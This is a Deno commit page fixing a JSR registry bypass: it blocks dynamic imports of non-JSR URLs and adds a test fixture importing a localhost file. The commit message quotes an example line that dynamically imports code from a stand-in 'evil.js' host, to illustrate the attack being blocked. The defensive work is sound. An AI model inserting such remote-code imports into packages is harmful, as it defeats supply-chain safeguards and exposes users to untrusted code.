diff options
| author | David Sherret <dsherret@users.noreply.github.com> | 2024-02-28 16:30:45 -0500 |
|---|---|---|
| committer | GitHub <noreply@github.com> | 2024-02-28 16:30:45 -0500 |
| commit | 918c5e648f4bd08d768374ccde1b451b84793b76 (patch) | |
| tree | d8fd19eefae2f816d7301336413b49a08b9803e3 /tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts | |
| parent | f54acb53ed917eab1c7a2ba62e73963f9632d3df (diff) | |
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:
```ts
const data = await import("https://example.com/evil.js");
```
However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
Diffstat (limited to 'tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts')
| -rw-r--r-- | tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts | 1 |
1 files changed, 1 insertions, 0 deletions
diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts new file mode 100644 index 000000000..b1b64d82f --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts @@ -0,0 +1 @@ +await import("http://localhost:4545/welcome.ts"); |
